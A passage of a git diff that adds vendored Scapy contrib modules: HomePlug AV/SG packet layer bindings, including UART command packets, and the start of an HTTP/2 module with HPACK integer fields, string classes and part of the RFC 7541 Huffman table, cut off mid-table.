CM_START_ATTEN_CHAR_IND, HPtype=0x606a) +bind_layers(HomePlugAV, CM_ATTEN_CHAR_IND, HPtype=0x606e) +bind_layers(HomePlugAV, CM_ATTEN_CHAR_RSP, HPtype=0x606f) +bind_layers(HomePlugAV, CM_MNBC_SOUND_IND, HPtype=0x6076) +bind_layers(HomePlugAV, CM_SLAC_MATCH_REQ, HPtype=0x607c) +bind_layers(HomePlugAV, CM_SLAC_MATCH_CNF, HPtype=0x607d) +bind_layers(HomePlugAV, CM_SET_KEY_REQ, HPtype=0x6008) +bind_layers(HomePlugAV, CM_SET_KEY_CNF, HPtype=0x6009) +bind_layers(HomePlugAV, CM_ATTENUATION_CHARACTERISTICS_MME, HPtype=0x6086) diff --git a/libs/scapy/contrib/homeplugsg.py b/libs/scapy/contrib/homeplugsg.py new file mode 100755 index 0000000..0f95adf --- /dev/null +++ b/libs/scapy/contrib/homeplugsg.py @@ -0,0 +1,62 @@ +#! /usr/bin/env python + +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = HomePlugSG Layer +# scapy.contrib.status = loads + +from __future__ import absolute_import + +from scapy.packet import Packet, bind_layers +from scapy.fields import FieldLenField, StrFixedLenField, StrLenField + +# Extends HomePlug AV and GP layer +from scapy.contrib.homeplugav import HomePlugAV, QualcommTypeList + +# +# Copyright (C) HomePlugSG Layer for Scapy by FlUxIuS (Sebastien Dudek) +# + +# HomePlug GP extension for SG + + +HomePlugSGTypes = {0xA400: "VS_UART_CMD_Req", + 0xA401: "VS_UART_CMD_Cnf"} + + +QualcommTypeList.update(HomePlugSGTypes) + +# UART commands over HomePlugGP + + +class VS_UART_CMD_REQ(Packet): + name = "VS_UART_CMD_REQ" + fields_desc = [FieldLenField("UDataLen", None, count_of="UData", fmt="H"), + StrLenField("UData", "UartCommand\x00", + length_from=lambda pkt: pkt.UDataLen)] + + +class VS_UART_CMD_CNF(Packet): + name = "VS_UART_CMD_CNF" + fields_desc = [StrFixedLenField("reserved", b"\x00", 6), + FieldLenField("UDataLen", None, count_of="UData", fmt="H"), + StrLenField("UData", "UartCommand\x00", + length_from=lambda pkt: pkt.UDataLen)] + + +# END # + +bind_layers(HomePlugAV, VS_UART_CMD_REQ, HPtype=0xA400) +bind_layers(HomePlugAV, VS_UART_CMD_CNF, HPtype=0xA401) diff --git a/libs/scapy/contrib/http2.py b/libs/scapy/contrib/http2.py new file mode 100755 index 0000000..125b3d5 --- /dev/null +++ b/libs/scapy/contrib/http2.py @@ -0,0 +1,2749 @@ +############################################################################# +# # +# http2.py --- HTTP/2 support for Scapy # +# see RFC7540 and RFC7541 # +# for more information # +# # +# Copyright (C) 2016 Florian Maury # +# # +# This file is part of Scapy # +# Scapy is free software: you can redistribute it and/or modify it # +# under the terms of the GNU General Public License version 2 as # +# published by the Free Software Foundation. # +# # +# This program is distributed in the hope that it will be useful, but # +# WITHOUT ANY WARRANTY; without even the implied warranty of # +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # +# General Public License for more details. # +# # +############################################################################# +"""http2 Module +Implements packets and fields required to encode/decode HTTP/2 Frames +and HPack encoded headers +""" + +# scapy.contrib.status=loads +# scapy.contrib.description=HTTP/2 (RFC 7540, RFC 7541) + +# base_classes triggers an unwanted import warning + +from __future__ import absolute_import +from __future__ import print_function +import abc +import re +import sys +from io import BytesIO +import struct +import scapy.modules.six as six +from scapy.compat import raw, plain_str, bytes_hex, orb, chb, bytes_encode + +# Only required if using mypy-lang for static typing +# Most symbols are used in mypy-interpreted "comments". +# Sized must be one of the superclasses of a class implementing __len__ +from scapy.compat import Optional, List, Union, Callable, Any, \ + Tuple, Sized, Pattern # noqa: F401 +from scapy.base_classes import Packet_metaclass # noqa: F401 + +import scapy.fields as fields +import scapy.packet as packet +import scapy.config as config +import scapy.volatile as volatile +import scapy.error as error + +############################################################################### +# HPACK Integer Fields # +############################################################################### + + +class HPackMagicBitField(fields.BitField): + """ HPackMagicBitField is a BitField variant that cannot be assigned another + value than the default one. This field must not be used where there is + potential for fuzzing. OTOH, this field makes sense (for instance, if the + magic bits are used by a dispatcher to select the payload class) + """ + + __slots__ = ['_magic'] + + def __init__(self, name, default, size): + # type: (str, int, int) -> None + """ + :param str name: this field instance name. + :param int default: this field only valid value. + :param int size: this bitfield bitlength. + :return: None + :raises: AssertionError + """ + assert(default >= 0) + # size can be negative if encoding is little-endian (see rev property of bitfields) # noqa: E501 + assert(size != 0) + self._magic = default + super(HPackMagicBitField, self).__init__(name, default, size) + + def addfield(self, pkt, s, val): + # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> Union[str, Tuple[str, int, int]] # noqa: E501 + """ + :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 + :param str|(str, int, long) s: either a str if 0 == size%8 or a tuple with the string to add this field to, the # noqa: E501 + number of bits already generated and the generated value so far. + :param int val: unused; must be equal to default value + :return: str|(str, int, long): the s string extended with this field machine representation # noqa: E501 + :raises: AssertionError + """ + assert val == self._magic, 'val parameter must value {}; received: {}'.format(self._magic, val) # noqa: E501 + return super(HPackMagicBitField, self).addfield(pkt, s, self._magic) + + def getfield(self, pkt, s): + # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> Tuple[Union[Tuple[str, int], str], int] # noqa: E501 + """ + :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 + :param str|(str, int) s: either a str if size%8==0 or a tuple with the string to parse from and the number of # noqa: E501 + bits already consumed by previous bitfield-compatible fields. + :return: (str|(str, int), int): Returns the remaining string and the parsed value. May return a tuple if there # noqa: E501 + are remaining bits to parse in the first byte. Returned value is equal to default value # noqa: E501 + :raises: AssertionError + """ + r = super(HPackMagicBitField, self).getfield(pkt, s) + assert ( + isinstance(r, tuple) and + len(r) == 2 and + isinstance(r[1], six.integer_types) + ), 'Second element of BitField.getfield return value expected to be an int or a long; API change detected' # noqa: E501 + assert r[1] == self._magic, 'Invalid value parsed from s; error in class guessing detected!' # noqa: E501 + return r + + def h2i(self, pkt, x): + # type: (Optional[packet.Packet], int) -> int + """ + :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 + :param int x: unused; must be equal to default value + :return: int; default value + :raises: AssertionError + """ + assert x == self._magic, \ + 'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic) # noqa: E501 + return super(HPackMagicBitField, self).h2i(pkt, self._magic) + + def i2h(self, pkt, x): + # type: (Optional[packet.Packet], int) -> int + """ + :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 + :param int x: unused; must be equal to default value + :return: int; default value + :raises: AssertionError + """ + assert x == self._magic, \ + 'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic) # noqa: E501 + return super(HPackMagicBitField, self).i2h(pkt, self._magic) + + def m2i(self, pkt, x): + # type: (Optional[packet.Packet], int) -> int + """ + :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 + :param int x: must be the machine representatino of the default value + :return: int; default value + :raises: AssertionError + """ + r = super(HPackMagicBitField, self).m2i(pkt, x) + assert r == self._magic, 'Invalid value parsed from m2i; error in class guessing detected!' # noqa: E501 + return r + + def i2m(self, pkt, x): + # type: (Optional[packet.Packet], int) -> int + """ + :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 + :param int x: unused; must be equal to default value + :return: int; default value + :raises: AssertionError + """ + assert x == self._magic, \ + 'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic) # noqa: E501 + return super(HPackMagicBitField, self).i2m(pkt, self._magic) + + def any2i(self, pkt, x): + # type: (Optional[packet.Packet], int) -> int + """ + :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 + :param int x: unused; must be equal to default value + :return: int; default value + :raises: AssertionError + """ + assert x == self._magic, \ + 'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic) # noqa: E501 + return super(HPackMagicBitField, self).any2i(pkt, self._magic) + + +class AbstractUVarIntField(fields.Field): + """AbstractUVarIntField represents an integer as defined in RFC7541 + """ + + __slots__ = ['_max_value', 'size', 'rev'] + """ + :var int size: the bit length of the prefix of this AbstractUVarIntField. It # noqa: E501 + represents the complement of the number of MSB that are used in the + current byte for other purposes by some other BitFields + :var int _max_value: the maximum value that can be stored in the + sole prefix. If the integer equals or exceeds this value, the max prefix + value is assigned to the size first bits and the multibyte representation + is used + :var bool rev: is a fake property, also emulated for the sake of + compatibility with Bitfields + """ + + def __init__(self, name, default, size): + # type: (str, Optional[int], int) -> None + """ + :param str name: the name of this field instance + :param int|None default: positive, null or None default value for this field instance. # noqa: E501 + :param int size: the number of bits to consider in the first byte. Valid range is ]0;8] # noqa: E501 + :return: None + :raises: AssertionError + """ + assert(default is None or (isinstance(default, six.integer_types) and default >= 0)) # noqa: E501 + assert(0 < size <= 8) + super(AbstractUVarIntField, self).__init__(name, default) + self.size = size + self._max_value = (1 << self.size) - 1 + + # Configuring the fake property that is useless for this class but that is # noqa: E501 + # expected from BitFields + self.rev = False + + def h2i(self, pkt, x): + # type: (Optional[packet.Packet], Optional[int]) -> Optional[int] + """ + :param packet.Packet|None pkt: unused. + :param int|None x: the value to convert. + :return: int|None: the converted value. + :raises: AssertionError + """ + assert(not isinstance(x, six.integer_types) or x >= 0) + return x + + def i2h(self, pkt, x): + # type: (Optional[packet.Packet], Optional[int]) -> Optional[int] + """ + :param packet.Packet|None pkt: unused. + :param int|None x: the value to convert. + :return:: int|None: the converted value. + """ + return x + + def _detect_multi_byte(self, fb): + # type: (str) -> bool + """ _detect_multi_byte returns whether the AbstractUVarIntField is represented on # noqa: E501 + multiple bytes or not. + + A multibyte representation is indicated by all of the first size bits being set # noqa: E501 + + :param str fb: first byte, as a character. + :return: bool: True if multibyte repr detected, else False. + :raises: AssertionError + """ + assert(isinstance(fb, int) or len(fb) == 1) + return (orb(fb) & self._max_value) == self._max_value + + def _parse_multi_byte(self, s): + # type: (str) -> int + """ _parse_multi_byte parses x as a multibyte representation to get the + int value of this AbstractUVarIntField. + + :param str s: the multibyte string to parse. + :return: int: The parsed int value represented by this AbstractUVarIntField. # noqa: E501 + :raises:: AssertionError + :raises:: Scapy_Exception if the input value encodes an integer larger than 1<<64 # noqa: E501 + """ + + assert(len(s) >= 2) + + tmp_len = len(s) + + value = 0 + i = 1 + byte = orb(s[i]) + # For CPU sake, stops at an arbitrary large number! + max_value = 1 << 64 + # As long as the MSG is set, an another byte must be read + while byte & 0x80: + value += (byte ^ 0x80) << (7 * (i - 1)) + if value > max_value: + raise error.Scapy_Exception( + 'out-of-bound value: the string encodes a value that is too large (>2^{{64}}): {}'.format(value) # noqa: E501 + ) + i += 1 + assert i < tmp_len, 'EINVAL: x: out-of-bound read: the string ends before the AbstractUVarIntField!' # noqa: E501 + byte = orb(s[i]) + value += byte << (7 * (i - 1)) + value += self._max_value + + assert(value >= 0) + return value + + def m2i(self, pkt, x): + # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> int + """ + A tuple is expected for the "x" param only if "size" is different than 8. If a tuple is received, some bits # noqa: E501 + were consumed by another field. This field consumes the remaining bits, therefore the int of the tuple must # noqa: E501 + equal "size". + + :param packet.Packet|None pkt: unused. + :param str|(str, int) x: the string to convert. If bits were consumed by a previous bitfield-compatible field. # noqa: E501 + :raises: AssertionError + """ + assert(isinstance(x, bytes) or (isinstance(x, tuple) and x[1] >= 0)) + + if isinstance(x, tuple): + assert (8 - x[1]) == self.size, 'EINVAL: x: not enough bits remaining in current byte to read the prefix' # noqa: E501 + val = x[0] + else: + assert isinstance(x, bytes) and self.size == 8, 'EINVAL: x: tuple expected when prefix_len is not a full byte' # noqa: E501 + val = x + + if self._detect_multi_byte(val[0]): + ret = self._parse_multi_byte(val) + else: + ret = orb(val[0]) & self._max_value + + assert(ret >= 0) + return ret + + def i2m(self, pkt, x): + # type: (Optional[packet.Packet], int) -> str + """ + :param packet.Packet|None pkt: unused. + :param int x: the value to convert. + :return: str: the converted value. + :raises: AssertionError + """ + assert(x >= 0) + + if x < self._max_value: + return chb(x) + else: + # The sl list join is a performance trick, because string + # concatenation is not efficient with Python immutable strings + sl = [chb(self._max_value)] + x -= self._max_value + while x >= 0x80: + sl.append(chb(0x80 | (x & 0x7F))) + x >>= 7 + sl.append(chb(x)) + return b''.join(sl) + + def any2i(self, pkt, x): + # type: (Optional[packet.Packet], Union[None, str, int]) -> Optional[int] # noqa: E501 + """ + A "x" value as a string is parsed as a binary encoding of a UVarInt. An int is considered an internal value. # noqa: E501 + None is returned as is. + + :param packet.Packet|None pkt: the packet containing this field; probably unused. # noqa: E501 + :param str|int|None x: the value to convert. + :return: int|None: the converted value. + :raises: AssertionError + """ + if isinstance(x, type(None)): + return x + if isinstance(x, six.integer_types): + assert(x >= 0) + ret = self.h2i(pkt, x) + assert(isinstance(ret, six.integer_types) and ret >= 0) + return ret + elif isinstance(x, bytes): + ret = self.m2i(pkt, x) + assert (isinstance(ret, six.integer_types) and ret >= 0) + return ret + assert False, 'EINVAL: x: No idea what the parameter format is' + + def i2repr(self, pkt, x): + # type: (Optional[packet.Packet], Optional[int]) -> str + """ + :param packet.Packet|None pkt: probably unused. + :param x: int|None: the positive, null or none value to convert. + :return: str: the representation of the value. + """ + return repr(self.i2h(pkt, x)) + + def addfield(self, pkt, s, val): + # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> str # noqa: E501 + """ + An AbstractUVarIntField prefix always consumes the remaining bits + of a BitField;if no current BitField is in use (no tuple in + entry) then the prefix length is 8 bits and the whole byte is to + be consumed + + :param packet.Packet|None pkt: the packet containing this field. + Probably unused. + :param str|(str, int, long) s: the string to append this field to. + A tuple indicates that some bits were already generated by another + bitfield-compatible field. This MUST be the case if "size" is not 8. + The int is the number of bits already generated in the first byte of + the str. The long is the value that was generated by the previous + bitfield-compatible fields. + :param int val: the positive or null value to be added. + :return: str: s concatenated with the machine representation of this + field. + :raises: AssertionError + """ + assert(val >= 0) + if isinstance(s, bytes): + assert self.size == 8, 'EINVAL: s: tuple expected when prefix_len is not a full byte' # noqa: E501 + return s + self.i2m(pkt, val) + + # s is a tuple + # assert(s[1] >= 0) + # assert(s[2] >= 0) + # assert (8 - s[1]) == self.size, 'EINVAL: s: not enough bits remaining in current byte to read the prefix' # noqa: E501 + + if val >= self._max_value: + return s[0] + chb((s[2] << self.size) + self._max_value) + self.i2m(pkt, val)[1:] # noqa: E501 + # This AbstractUVarIntField is only one byte long; setting the prefix value # noqa: E501 + # and appending the resulting byte to the string + return s[0] + chb((s[2] << self.size) + orb(self.i2m(pkt, val))) + + @staticmethod + def _detect_bytelen_from_str(s): + # type: (str) -> int + """ _detect_bytelen_from_str returns the length of the machine + representation of an AbstractUVarIntField starting at the beginning + of s and which is assumed to expand over multiple bytes + (value > _max_prefix_value). + + :param str s: the string to parse. It is assumed that it is a multibyte int. # noqa: E501 + :return: The bytelength of the AbstractUVarIntField. + :raises: AssertionError + """ + assert(len(s) >= 2) + tmp_len = len(s) + + i = 1 + while orb(s[i]) & 0x80 > 0: + i += 1 + assert i < tmp_len, 'EINVAL: s: out-of-bound read: unfinished AbstractUVarIntField detected' # noqa: E501 + ret = i + 1 + + assert(ret >= 0) + return ret + + def i2len(self, pkt, x): + # type: (Optional[packet.Packet], int) -> int + """ + :param packet.Packet|None pkt: unused. + :param int x: the positive or null value whose binary size if requested. # noqa: E501 + :raises: AssertionError + """ + assert(x >= 0) + if x < self._max_value: + return 1 + + # x is expressed over multiple bytes + x -= self._max_value + i = 1 + if x == 0: + i += 1 + while x > 0: + x >>= 7 + i += 1 + + ret = i + assert(ret >= 0) + return ret + + def getfield(self, pkt, s): + # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> Tuple[str, int] # noqa: E501 + """ + :param packet.Packet|None pkt: the packet instance containing this + field; probably unused. + :param str|(str, int) s: the input value to get this field value from. + If size is 8, s is a string, else it is a tuple containing the value + and an int indicating the number of bits already consumed in the + first byte of the str. The number of remaining bits to consume in the + first byte must be equal to "size". + :return: (str, int): the remaining bytes of s and the parsed value. + :raises: AssertionError + """ + if isinstance(s, tuple): + assert(len(s) == 2) + temp = s # type: Tuple[str, int] + ts, ti = temp + assert(ti >= 0) + assert 8 - ti == self.size, 'EINVAL: s: not enough bits remaining in current byte to read the prefix' # noqa: E501 + val = ts + else: + assert isinstance(s, bytes) and self.size == 8, 'EINVAL: s: tuple expected when prefix_len is not a full byte' # noqa: E501 + val = s + + if self._detect_multi_byte(val[0]): + tmp_len = self._detect_bytelen_from_str(val) + else: + tmp_len = 1 + + ret = val[tmp_len:], self.m2i(pkt, s) + assert(ret[1] >= 0) + return ret + + def randval(self): + # type: () -> volatile.VolatileValue + """ + :return: volatile.VolatileValue: a volatile value for this field "long"-compatible internal value. # noqa: E501 + """ + return volatile.RandLong() + + +class UVarIntField(AbstractUVarIntField): + def __init__(self, name, default, size): + # type: (str, int, int) -> None + """ + :param str name: the name of this field instance. + :param default: the default value for this field instance. default must be positive or null. # noqa: E501 + :raises: AssertionError + """ + assert(default >= 0) + assert(0 < size <= 8) + + super(UVarIntField, self).__init__(name, default, size) + self.size = size + self._max_value = (1 << self.size) - 1 + + # Configuring the fake property that is useless for this class but that is # noqa: E501 + # expected from BitFields + self.rev = False + + def h2i(self, pkt, x): + # type: (Optional[packet.Packet], int) -> int + """ h2i is overloaded to restrict the acceptable x values (not None) + + :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 + :param int x: the value to convert. + :return: int: the converted value. + :raises: AssertionError + """ + ret = super(UVarIntField, self).h2i(pkt, x) + assert(not isinstance(ret, type(None)) and ret >= 0) + return ret + + def i2h(self, pkt, x): + # type: (Optional[packet.Packet], int) -> int + """ i2h is overloaded to restrict the acceptable x values (not None) + + :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 + :param int x: the value to convert. + :return: int: the converted value. + :raises: AssertionError + """ + ret = super(UVarIntField, self).i2h(pkt, x) + assert(not isinstance(ret, type(None)) and ret >= 0) + return ret + + def any2i(self, pkt, x): + # type: (Optional[packet.Packet], Union[str, int]) -> int + """ any2i is overloaded to restrict the acceptable x values (not None) + + :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 + :param str|int x: the value to convert. + :return: int: the converted value. + :raises: AssertionError + """ + ret = super(UVarIntField, self).any2i(pkt, x) + assert(not isinstance(ret, type(None)) and ret >= 0) + return ret + + def i2repr(self, pkt, x): + # type: (Optional[packet.Packet], int) -> str + """ i2repr is overloaded to restrict the acceptable x values (not None) + + :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 + :param int x: the value to convert. + :return: str: the converted value. + """ + return super(UVarIntField, self).i2repr(pkt, x) + + +class FieldUVarLenField(AbstractUVarIntField): + __slots__ = ['_length_of', '_adjust'] + + def __init__(self, name, default, size, length_of, adjust=lambda x: x): + # type: (str, Optional[int], int, str, Callable[[int], int]) -> None + """ Initializes a FieldUVarLenField + + :param str name: The name of this field instance. + :param int|None default: the default value of this field instance. + :param int size: the number of bits that are occupied by this field in the first byte of a binary string. # noqa: E501 + size must be in the range ]0;8]. + :param str length_of: The name of the field this field value is measuring/representing. # noqa: E501 + :param callable adjust: A function that modifies the value computed from the "length_of" field. # noqa: E501 + + adjust can be used for instance to add a constant to the length_of field # noqa: E501 + length. For instance, let's say that i2len of the length_of field + returns 2. If adjust is lambda x: x+1 In that case, this field will + value 3 at build time. + :return: None + :raises: AssertionError + """ + assert(default is None or default >= 0) + assert(0 < size <= 8) + + super(FieldUVarLenField, self).__init__(name, default, size) + self._length_of = length_of + self._adjust = adjust + + def addfield(self, pkt, s, val): + # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], Optional[int]) -> str # noqa: E501 + """ + :param packet.Packet|None pkt: the packet instance containing this field instance. This parameter must not be # noqa: E501 + None if the val parameter is. + :param str|(str, int, long) s: the string to append this field to. A tuple indicates that some bits were already # noqa: E501 + generated by another bitfield-compatible field. This MUST be the case if "size" is not 8. The int is the # noqa: E501 + number of bits already generated in the first byte of the str. The long is the value that was generated by the # noqa: E501 + previous bitfield-compatible fields. + :param int|None val: the positive or null value to be added. If None, the value is computed from pkt. # noqa: E501 + :return: str: s concatenated with the machine representation of this field. # noqa: E501 + :raises: AssertionError + """ + if val is None: + assert isinstance(pkt, packet.Packet), \ + 'EINVAL: pkt: Packet expected when val is None; received {}'.format(type(pkt)) # noqa: E501 + val = self._compute_value(pkt) + return super(FieldUVarLenField, self).addfield(pkt, s, val) + + def i2m(self, pkt, x): + # type: (Optional[packet.Packet], Optional[int]) -> str + """ + :param packet.Packet|None pkt: the packet instance containing this field instance. This parameter must not be # noqa: E501 + None if the x parameter is. + :param int|None x: the positive or null value to be added. If None, the value is computed from pkt. # noqa: E501 + :return: str + :raises: AssertionError + """ + if x is None: + assert isinstance(pkt, packet.Packet), \ + 'EINVAL: pkt: Packet expected when x is None; received {}'.format(type(pkt)) # noqa: E501 + x = self._compute_value(pkt) + return super(FieldUVarLenField, self).i2m(pkt, x) + + def _compute_value(self, pkt): + # type: (packet.Packet) -> int + """ Computes the value of this field based on the provided packet and + the length_of field and the adjust callback + + :param packet.Packet pkt: the packet from which is computed this field value. # noqa: E501 + :return: int: the computed value for this field. + :raises: KeyError: the packet nor its payload do not contain an attribute + with the length_of name. + :raises: AssertionError + :raises: KeyError if _length_of is not one of pkt fields + """ + fld, fval = pkt.getfield_and_val(self._length_of) + val = fld.i2len(pkt, fval) + ret = self._adjust(val) + assert(ret >= 0) + return ret + +############################################################################### +# HPACK String Fields # +############################################################################### + +# Welcome the magic of Python inconsistencies ! +# https://stackoverflow.com/a/41622155 + + +if sys.version_info >= (3, 4): + ABC = abc.ABC +else: + ABC = abc.ABCMeta('ABC', (), {}) + + +class HPackStringsInterface(ABC, Sized): # type: ignore + @abc.abstractmethod + def __str__(self): + pass + + def __bytes__(self): + r = self.__str__() + return bytes_encode(r) + + @abc.abstractmethod + def origin(self): + pass + + @abc.abstractmethod + def __len__(self): + pass + + +class HPackLiteralString(HPackStringsInterface): + """ HPackLiteralString is a string. This class is used as a marker and + implements an interface in common with HPackZString + """ + __slots__ = ['_s'] + + def __init__(self, s): + # type: (str) -> None + self._s = s + + def __str__(self): + # type: () -> str + return self._s + + def origin(self): + # type: () -> str + return plain_str(self._s) + + def __len__(self): + # type: () -> int + return len(self._s) + + +class EOS(object): + """ Simple "marker" to designate the End Of String symbol in the huffman table + """ + + +class HuffmanNode(object): + """ HuffmanNode is an entry of the binary tree used for encoding/decoding + HPack compressed HTTP/2 headers + """ + + __slots__ = ['left', 'right'] + """@var l: the left branch of this node + @var r: the right branch of this Node + + These variables can value None (leaf node), another HuffmanNode, or a + symbol. Symbols are either a character or the End Of String symbol (class + EOS) + """ + + def __init__(self, left, right): + # type: (Union[None, HuffmanNode, EOS, str], Union[None, HuffmanNode, EOS, str]) -> None # noqa: E501 + self.left = left + self.right = right + + def __getitem__(self, b): + # type: (int) -> Union[None, HuffmanNode, EOS, str] + return self.right if b else self.left + + def __setitem__(self, b, val): + # type: (int, Union[None, HuffmanNode, EOS, str]) -> None + if b: + self.right = val + else: + self.left = val + + def __str__(self): + # type: () -> str + return self.__repr__() + + def __repr__(self): + # type: () -> str + return '({}, {})'.format(self.left, self.right) + + +class InvalidEncodingException(Exception): + """ InvalidEncodingException is raised when a supposedly huffman-encoded + string is decoded and a decoding error arises + """ + + +class HPackZString(HPackStringsInterface): + __slots__ = ['_s', '_encoded'] + + # From RFC 7541 + # Tuple is (code,code bitlength) + # The bitlength is required to know how long the left padding + # (implicit 0's) there are + static_huffman_code = [ + (0x1ff8, 13), + (0x7fffd8, 23), + (0xfffffe2, 28), + (0xfffffe3, 28), + (0xfffffe4, 28), + (0xfffffe5, 28), + (0xfffffe6, 28), + (0xfffffe7, 28), + (0xfffffe8, 28), + (0xffffea, 24), + (0x3ffffffc, 30), + (0xfffffe9, 28), + (0xfffffea, 28), + (0x3ffffffd, 30), + (0xfffffeb, 28), + (0xfffffec, 28), + (0xfffffed, 28), + (0xfffffee, 28), + (0xfffffef, 28), + (0xffffff0, 28), + (0xffffff1, 28), + (0xffffff2, 28), + (0x3ffffffe, 30), + (0xffffff3, 28), + (0xffffff4, 28), + (0xffffff5, 28), + (0xffffff6, 28), + (0xffffff7, 28), + (0xffffff8, 28), + (0xffffff9, 28), + (0xffffffa, 28), + (0xffffffb, 28), + (0x14, 6), + (0x3f8, 10), + (0x3f9, 10), + (0xffa, 12), + (0x1ff9, 13), + (0x15, 6), + (0xf8, 8), + (0x7fa, 11), + (0x3fa, 10), + (0x3fb, 10), + (0xf9, 8), + (0x7fb, 11), + (0xfa, 8), + (0x16, 6), + (0x17, 6), + (0x18, 6), + (0x0, 5), + (0x1, 5), + (0x2, 5), + (0x19, 6), + (0x1a, 6), + (0x1b, 6), + (0x1c, 6), + (0x1d, 6), + (0x1e, 6), + (0x1f, 6), + (0x5c, 7), + (0xfb, 8), + (0x7ffc, 15), + (0x20, 6), + (0xffb, 12), + (0x3fc, 10), + (0x1ffa, 13), + (0x21, 6), + (0x5d, 7), + (0x5e, 7), + (0x5f, 7), + (0x60, 7), + (0x61, 7), + (0x62, 7), + (0x63, 7), + (0x64, 7), + (0x65, 7), + (0x66, 7), + (0x67, 7), + (0x68, 7), + (0x69, 7), + (0x6a, 7), + (0x6b, 7), + (0x6c, 7), + (0x6d, 7), + (0x6e, 7), + (0x6f, 7), + (0x70, 7), + (0x71, 7), + (0x72, 7), + (0xfc, 8), + (0x73, 7), + (0xfd, 8), + (0x1ffb, 13), + (0x7fff0, 19), + (0x1ffc, 13), + (0x3ffc, 14), + (0x22, 6), + (0x7ffd, 15), + (0x3, 5), + (0x23, 6), + (0x4, 5), + (0x24, 6), + (0x5, 5), + (0x25, 6), + (0x26, 6), + (0x27, 6), + (0x6, 5), + (0x74, 7), + (0x75, 7), + (0x28, 6), + (0x29, 6), + (0x2a, 6), + (0x7, 5), + (0x2b, 6), + (0x76, 7), + (0x2c, 6), + (0x8, 5), + (0x9, 5), + (0x2d, 6), + (0x77, 7), + (0x78, 7), + (0x79, 7), + (0x7a, 7), + (0x7b, 7), + (0x7ffe, 15), + (0x7fc, 11), + (0x3ffd, 14), + (0x1ffd, 13), + (0xffffffc, 28), + (0xfffe6, 20), + (0x3fffd2, 22), + (0xfffe7, 20), + (0xfffe8, 20), + (0x3fffd3, 22), + (0x3fffd4, 22), + (0x3fffd5, 22), + (0x7fffd9, 23), + (0x3fffd6, 22), + (0x7fffda, 23), + (0x7fffdb, 23), + (0x7fffdc, 23), + (0x7fffdd, 23), + (0x7fffde, 23), + (0xffffeb, 24), + (0x7fffdf, 23), + (0xffffec, 24), + (0xffffed, 24), + (0x3fffd7, 22), + (0x7fffe0, 23), + (0xffffee, 24), + (0x7fffe1, 23), + (0x7fffe2, 23), + (0x7fffe3, 23), + (0x7fffe4, 23), + (0x1fffdc, 21), + (0x3fffd8, 22), + (0x7fffe5, 23), + (0x3fffd9, 22), + (0x7fffe6, 23), + (0x7fffe7, 23), + (0xffffef, 24), + (0x3fffda, 22), + (0x1fffdd, 21), + (0xfffe9, 20), + (0x3fffdb, 22), + (0x3fffdc, 22), + (0x7fffe8, 23), + (0x7fffe9, 23), + (0x1fffde, 21), + (0x7fffea, 23), + (0x3fffdd, 22), + (0x3fffde, 22), + (0xfffff0, 24), + (0x1fffdf, 21), + (0x3fffdf, 22), + (0x7fffeb, 23), + (0x7fffec, 23), + (0x1fffe0, 21), + (0x1fffe1, 21), + (0x3fffe0, 22), + (0x1fffe2, 21), + (0x7fffed, 23), + (0x3fffe1, 22), + (0x7fffee, 23), + (0x7fffef, 23), + (0xfffea, 20), + (0x3fffe2, 22), + (0x3fffe3, 22), + (0x3fffe4, 22), + (0x7ffff0, 23), + (0x3fffe5, 22), + (0x3fffe6, 22), + (0x7ffff1, 23), + (0x3ffffe0, 26), + (0x3ffffe1, 26), + (0xfffeb, 20), + (0x7fff1, 19), + (0x3fffe7, 22), + (0x7ffff2, 23), + (0x3fffe8, 22), + (0x1ffffec, 25), + (0x3ffffe2, 26), + (0x3ffffe3, 26), + (0x3ffffe4, 26), + (0x7ffffde, 27), + (0x7ffffdf, 27), + (0x3ffffe5, 26), + (0xfffff1, 24), + (0x1ffffed, 25), + (0x7fff2, 19), + (0x1fffe3, 21), + (0x3ffffe6, 26), + (0x7ffffe0, 27), + (0x7ffffe1, 27), + (0x3ffffe7, 26), + (0x7ffffe2, 27), + (0xfffff2, 24), + (0x1fffe4, 21), + (0x1fffe5, 21), + (0x3ffffe8, 26), + (0x3ffffe9, 26), + (0xffffffd, 28), + (0x7ffffe3, 27), + (0x7ffffe4, 27), + (0x7ffffe5, 27), + (0xfffec, 20), + (0xfffff3, 24), + (0xfffed, 20), + (0x1fffe6, 21), + (0x3fffe9, 22), + (0x1fffe7, 21), + (0x1fffe8, 21), + (0x7ffff3, 23), + (0x3fffea, 22), + (0x3fffeb, 22), + (0x1ffffee, 25), + (0x1ffffef, 25), + (0xfffff4, 24), + (0xfffff5, 24), + (0x3ffffea, 26), + (0x7ffff4, 23), + (0x3ffffeb, 26), + (0x7ffffe6, 27), 